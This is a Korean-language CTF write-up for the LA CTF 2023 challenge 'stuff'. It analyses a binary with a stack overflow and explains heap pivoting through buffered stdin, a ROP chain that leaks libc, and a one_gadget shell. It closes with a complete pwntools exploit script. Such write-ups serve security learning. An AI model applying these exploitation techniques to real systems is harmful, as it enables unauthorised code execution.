La CTF 2023 - stuff (setvbuf)

Jason keeps bullying me for using Fedora so here’s a binary compiled on Fedora.
nc lac.tf 31182

  • [7 solves / 497 points]

새로운 것을 많이 배운 문제이다.

Analysis

분석하기에 앞서 patchelf를 이용하여 열심히 패치를 진행했다.

1
2
3
4
5
6
7
[jir4vvit@arch stuff]$ ldd stuff-p
linux-vdso.so.1 (0x00007ffdd2f16000)
./libstdc++.so.6 (0x00007f32ef600000)
./libm.so.6 (0x00007f32ef86a000)
./libgcc_s.so.1 (0x00007f32ef84a000)
./libc.so.6 (0x00007f32ef423000)
./ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007f32ef94c000)

이제 IDA를 이용해서 코드를 분석해보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *v4; // rax
char ptr[12]; // [rsp+0h] [rbp-10h] BYREF
int v6; // [rsp+Ch] [rbp-4h] BYREF

setbuf(stdout, 0LL);
do
{
while ( 1 )
{
puts("menu:");
puts("1. leak");
puts("2. do stuff");
if ( (unsigned int)__isoc99_scanf("%d", &v6) != 1 )
{
puts("oops");
return 1;
}
if ( v6 != 1 )
break;
v4 = malloc(8uLL);
printf("here's your leak: %p\n", v4);
}
}
while ( v6 != 2 );
fread(ptr, 1uLL, 0x20uLL, stdin);
return 0;
}

두 가지의 기능이 있다. heap 주소를 출력해주는 기능과 fread 함수를 이용해서 char ptr[12]에 0x20만큼 쓸 수 있다. 여기에서 overflow를 발생시킬 수 있고 ret를 덮어 rip를 조절할 수 있다.

여기서 중요한 점은 setvbuf를 이용하여 stdin을 사용할 때 버퍼링을 이용하기 때문에 힙에 내가 입력한 값들이 저장된다. 이것은 힙 주소에 페이로드를 저장시킬 수 있다는 것을 의미한다.

Solve

scanf로 숫자 데이터를 하나 보낼 때, 뒤에 다른 값들을 덧붙이면 이 데이터들은 힙 버퍼에 저장되고, 다음 입력 때 사용자의 키보드로부터 입력을 받지 않고 이 힙 버퍼에 저장된 값을 바로 입력으로 넣어줄 수 있다.

  1. 주어진 기능을 이용해 힙 주소를 leak한다.

  2. 2번 기능을 이용하기 위해 2를 서버로 전송하는데, 뒤에 ROP 페이로드를 덧붙여서 한 번에 전송한다. 참고로 이 ROP 페이로드는 2번 기능의 fread 함수가 종료된 뒤, main이 끝나고 leave ret을 한 번 더 수행하여 rbp와 rsp를 heap주소로 만들어준다. 그 heap 주소는 ROP 페이로드가 저장된 곳이고 fread 가젯을 배치하여 바로 한 번 더 실행하게 한다. 이 때, 두 번째 페이로드를 입력으로 받는데, 이것의 역할은 printf 함수를 실행하도록 하는 것이다. fread 함수가 종료되고 printf();가 실행되는데 NULL pointer를 출력하게 되면 아무것도 출력하지 않는다. 중요한 것은 printf 함수가 종료되고 rsilibc 주소가 들어가는 것이다. 그 다음 0x4011f6 주소가 실행되는데 이는 rsi 레지스터를 출력하므로 최종적으로 libc 주소를 출력할 수 있다.

    1
    2
    3
    .text:00000000004011F6 mov     edi, offset format ; "here's your leak: %p\n"
    .text:00000000004011FB mov eax, 0
    .text:0000000000401200 call _printf

    이 작업이 끝나면 main의 while(1) 루프 내부이므로 main의 기능을 추가적으로 더 실행할 수 있다.

  3. 화면에 leak된 libc 주소를 가져와 libc base를 구한다.

  4. 원가젯을 이용하여 쉘을 획득한다. 2번 메뉴를 이용하여 rip를 조작할 수 있다. 조건은 아래와 같으므로 레지스터 상황을 살펴보고 적당한 가젯을 찾아 값을 바꿔준다.

    1
    2
    3
    4
    5
    0x4d1a0 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ) 
    constraints:
    rsp & 0xf == 0
    rcx == NULL
    rbx == NULL || (u16)[rbx] == NULL

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

context.arch = 'amd64'
# context.log_level = 'DEBUG'

p = process('./stuff-p')
# p = remote('lac.tf', 31182)
e = ELF('./stuff-p')
libc = ELF('./libc.so.6')

leave_ret = 0x401234
ret = 0x40101a

# (1) leak the heap
pause()
p.sendlineafter('stuff\n', '1')
p.recvuntil(': ')
heap = int(p.recvuntil('\n'), 16)
info('heap: ' + hex(heap))

# (2)
payload = b'2'.rjust(8,b' ')
# heap pivoting
# fread(ptr, 1uLL, 0x20uLL, stdin);
payload += p64(heap)
payload += p64(0x40120f) # fread gadget
payload += p64(heap-0x1008)
payload += p64(leave_ret) # 0x20

p.sendafter('stuff\n', payload)
# p.send(p64(heap-0x1008) * 2 + p64(e.plt['printf']) + p64(0x4011f6))

payload = b''
payload += b'AAAAAAAA'
payload += b'BBBBBBBB'
payload += p64(e.plt['printf']) # fread -> printf :: set rsi to libc
payload += p64(0x4011f6) # print libc
p.send(payload)

# (3)
p.recvuntil(': ')
leak = int(p.recvuntil('\n'), 16)
info('leak: '+ hex(leak))
libc.address = leak - 0x1d5a40
info('libc.address: ' + hex(libc.address))

# (4)
one_gadget = libc.address + 0x4d1a0
pop_rbx = libc.address + 0x0000000000031f61

payload = b'2'.rjust(8,b' ')
payload += p64(0)*2 + p64(pop_rbx) + p64(0) + p64(one_gadget)

p.sendafter('stuff\n', payload)

p.interactive()